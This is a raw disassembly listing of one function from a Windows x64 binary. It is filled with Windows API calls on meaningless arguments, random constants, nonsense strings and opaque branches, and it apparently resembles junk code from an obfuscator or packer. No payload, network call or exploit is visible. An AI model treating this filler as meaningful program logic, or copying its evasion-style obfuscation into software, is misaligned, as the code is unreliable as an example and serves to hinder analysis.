call qword [sym.imp.ole32.dll_StringFromCLSID]
mov dword [rsp + 0x54f4], eax
mov eax, dword [rsp + 0x5448]
mov dword [rsp + 0x8e88], eax
cmp dword [rsp + 0x8e88], 0x69f6696
je 0x140239607
cmp dword [rsp + 0x8e88], 0x6e97174b
je 0x1402395dd
jmp 0x140239649
mov rax, qword [rsp + 0x9cc8]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x9c78]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x9c38]
movzx ecx, byte [rax]
call fcn.14023b310
nop
jmp 0x140239649
mov rax, qword [rsp + 0x9d00]
mov rcx, qword [rsp + 0x9ce8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9d00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c70]
mov rcx, qword [rsp + 0x9cb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9c50], rax
jmp 0x1402396bf
mov eax, dword [rsp + 0x54a8]
mov rcx, qword [rsp + 0x9c90]
mov qword [rsp + 0x2b0e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2b0e0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x53f0], eax
mov rax, qword [rsp + 0x9c68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5448]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9cb0]
mov dword [rcx], eax
lea r9, [rsp + 0x2b118]
mov r8d, 0x7e
mov edx, 0x26
mov rcx, qword [rsp + 0x9c20]
call sub.WINSPOOL.DRV_FindFirstPrinterChangeNotification
mov qword [rsp + 0x9d48], rax
movsx eax, word [rsp + 0x16d0]
mov rcx, qword [rsp + 0x9cc8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16d4], ax
lea r9, [rsp + 0x2b610]
lea r8, [rsp + 0x2b138]
mov edx, 0xa0
lea rcx, [rsp + 0x9d00]
call qword [sym.imp.ole32.dll_BindMoniker]
mov dword [rsp + 0x5614], eax
mov rax, qword [rsp + 0x9c58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12a]
or eax, ecx
mov rcx, qword [rsp + 0x9c28]
mov byte [rcx], al
mov eax, dword [rsp + 0x5428]
mov dword [rsp + 0x8e8c], eax
cmp dword [rsp + 0x8e8c], 0xc4ff2ae5
je 0x140239742
jmp 0x140239744
jmp 0x140239763
movsx eax, byte [rsp + 0x235]
mov rcx, qword [rsp + 0x9c28]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9c58]
mov byte [rcx], al
movabs rax, 0x2cca37a4d017cd17
mov rcx, qword [rsp + 0x9c60]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9578], rax
call qword [sym.imp.ole32.dll_CoRevertToSelf]
mov dword [rsp + 0x5444], eax
mov rax, qword [rsp + 0x9c68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x53f8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9cb0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x230]
movzx ecx, byte [rsp + 0x236]
sar eax, cl
mov byte [rsp + 0x233], al
lea rcx, [rsp + 0x5404]
call qword [sym.imp.ole32.dll_CoInvalidateRemoteMachineBindings]
mov dword [rsp + 0x54f4], eax
movzx r8d, word [rsp + 0x16d0]
mov rax, qword [rsp + 0x9c38]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x233]
call fcn.14023b310
nop
mov rax, qword [rsp + 0x9cc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16cc]
xor eax, ecx
movzx ecx, word [rsp + 0x16c4]
mov dword [rsp + 0x8e90], ecx
movzx edx, word [rsp + 0x16c8]
movzx ecx, dl
mov edx, dword [rsp + 0x8e90]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x1402398d9
mov rax, qword [rsp + 0x9c78]
movzx eax, byte [rax]
mov byte [rsp + 0x8e94], al
cmp byte [rsp + 0x8e94], 0xcf
je 0x14023985f
jmp 0x1402398b9
mov eax, dword [rsp + 0x5448]
mov ecx, dword [rsp + 0x53f8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c68]
mov dword [rcx], eax
lea rdx, [rsp + 0x9c60]
lea rcx, [rsp + 0x2b1a8]
call qword [sym.imp.ole32.dll_StringFromIID]
mov dword [rsp + 0x5498], eax
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c78]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x230], al
jmp 0x1402398d9
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16d0]
add eax, ecx
mov rcx, qword [rsp + 0x9cc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c90]
mov ecx, dword [rsp + 0x5404]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x53f0], eax
movzx eax, byte [rsp + 0x235]
mov byte [rsp + 0x8e98], al
cmp byte [rsp + 0x8e98], 0x1c
je 0x14023990e
jmp 0x140239910
jmp 0x14023995d
mov rax, qword [rsp + 0x9c90]
mov ecx, dword [rsp + 0x5404]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5428], eax
mov edx, 0x10
mov rcx, qword [rsp + 0x9d48]
call qword [sym.imp.KERNEL32.dll_SetProcessAffinityMask]
mov dword [rsp + 0x551c], eax
mov eax, dword [rsp + 0x5448]
mov ecx, dword [rsp + 0x53f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5400], eax
mov rax, qword [rsp + 0x9cb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9600]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9c70]
mov qword [rcx], rax
jmp 0x1402399cf
mov edx, 1
mov ecx, 0xb1
call qword [sym.imp.KERNEL32.dll_SleepEx]
mov dword [rsp + 0x53f0], eax
movzx eax, byte [rsp + 0x230]
movzx ecx, byte [rsp + 0x233]
add eax, ecx
mov byte [rsp + 0x232], al
mov eax, dword [rsp + 0x53f8]
mov ecx, dword [rsp + 0x5448]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c68]
mov dword [rcx], eax
mov eax, dword [rsp + 0x5448]
mov ecx, dword [rsp + 0x53f8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x234]
and eax, ecx
mov byte [0x140288008], al
movzx r9d, byte [rsp + 0x234]
movzx r8d, byte [rsp + 0x231]
movzx edx, byte [0x140288008]
mov rax, qword [rsp + 0x9c28]
movzx ecx, byte [rax]
call fcn.140239e10
nop
jmp 0x140239b82
movabs rax, 0x6335d69a2565e32b
mov rcx, qword [rsp + 0x9578]
sub rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x9c60]
jne 0x140239b82
movsx eax, word [rsp + 0x16d0]
mov dword [rsp + 0x8e9c], eax
cmp dword [rsp + 0x8e9c], 0x3d5f
je 0x140239a7c
jmp 0x140239b0e
mov rax, qword [rsp + 0x9c70]
movabs rcx, 0xb9f269ae1c717c1e
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9c50], rax
lea rax, [rsp + 0x2b7c0]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xda
lea rax, [rsp + 0x9c28]
mov qword [rsp + 0x20], rax
mov r9d, 0xfd
lea r8, [rsp + 0x5428]
lea rdx, [rsp + 0x5444]
lea rcx, [rsp + 0x16c8]
call qword [sym.imp.ole32.dll_CoGetInstanceFromIStorage]
mov dword [rsp + 0x5534], eax
movabs rax, 0x8734c3609809491c
mov rcx, qword [rsp + 0x9c50]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9c70]
mov qword [rcx], rax
jmp 0x140239b82
movsx eax, word [rsp + 0x16d0]
add eax, 0x56d2
mov word [rsp + 0x16d0], ax
mov rax, qword [rsp + 0x9c58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9c28]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9c58]
mov byte [rcx], al
mov r8d, 0x35
lea rdx, str.groveller_Wadding_Separates_preyed
lea rcx, [rsp + 0x2b980]
call qword [sym.imp.KERNEL32.dll_lstrcpynW]
mov qword [rsp + 0x9c88], rax
movzx eax, word [rsp + 0x16c4]
movzx ecx, word [rsp + 0x16c8]
sub eax, ecx
mov word [rsp + 0x16cc], ax
mov rax, qword [rsp + 0x9c70]
mov rcx, qword [rsp + 0x9c50]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9c70]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5428]
mov ecx, dword [rsp + 0x53f0]
add ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x5404]
je 0x140239beb
mov rax, qword [rsp + 0x9c68]
mov ecx, dword [rsp + 0x5448]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x53f8], eax
mov ecx, 0x5d
call qword [sym.imp.ole32.dll_CoTaskMemAlloc]
mov qword [rsp + 0xa028], rax
mov ecx, dword [rsp + 0x5404]
call fcn.14023a980
nop
jmp 0x140239c6c
movzx eax, byte [rsp + 0x232]
movzx ecx, byte [rsp + 0x230]
sub eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
mov eax, dword [rsp + 0x5400]
mov ecx, dword [rsp + 0x53f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5448], eax
lea rdx, [rsp + 0x53f0]
mov rcx, qword [rsp + 0x9c20]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x5428], eax
movabs rax, 0xbe08c00447155496
mov rcx, qword [rsp + 0x9c50]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c50], rax
mov eax, dword [rsp + 0x53f8]
mov dword [rsp + 0x8ea0], eax
cmp dword [rsp + 0x8ea0], 0x56740b01
je 0x140239c8b
jmp 0x140239ca8
lea rdx, [rsp + 0x9f20]
mov rcx, qword [rsp + 0x9c30]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x551c], eax
lea rdx, [rsp + 0x9c48]
mov rcx, qword [rsp + 0x9c20]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
mov dword [rsp + 0x5420], eax
movzx eax, byte [rsp + 0x230]
movzx ecx, byte [rsp + 0x233]
sar eax, cl
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
mov eax, dword [rsp + 0x53f0]
mov ecx, dword [rsp + 0x5428]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5404], eax
jmp 0x140239d93
mov eax, dword [rsp + 0x53f0]
mov dword [rsp + 0x5428], eax
movzx eax, byte [rsp + 0x231]
mov byte [rsp + 0x8ea4], al
cmp byte [rsp + 0x8ea4], 0x20
je 0x140239d28
jmp 0x140239d54
mov qword [rsp + 0x20], 0xeb
mov r9d, dword [rsp + 0x5428]
movzx r8d, byte [rsp + 0x230]
mov edx, 0xa9
mov ecx, 0x7c
call fcn.14023bff0
nop
jmp 0x140239d93
movsx eax, byte [rsp + 0x231]
movsx ecx, byte [0x140288008]
and eax, ecx
mov byte [rsp + 0x12a], al
lea rcx, [rsp + 0x53f8]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov eax, dword [rsp + 0x5428]
mov ecx, dword [rsp + 0x53f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5404], eax
lea rax, [rsp + 0x230]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x9f20]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x9c88]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x2b610]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x9c88]
mov r8, qword [rsp + 0x9cf0]
lea rdx, str.exertsScreeShrivelsmoroccan
mov ecx, 0xe6
call sub.VERSION.dll_VerFindFileW
mov dword [rsp + 0x5428], eax
mov eax, dword [rsp + 0x7bbc]
add rsp, 0x2c008
pop rdi
pop rsi
ret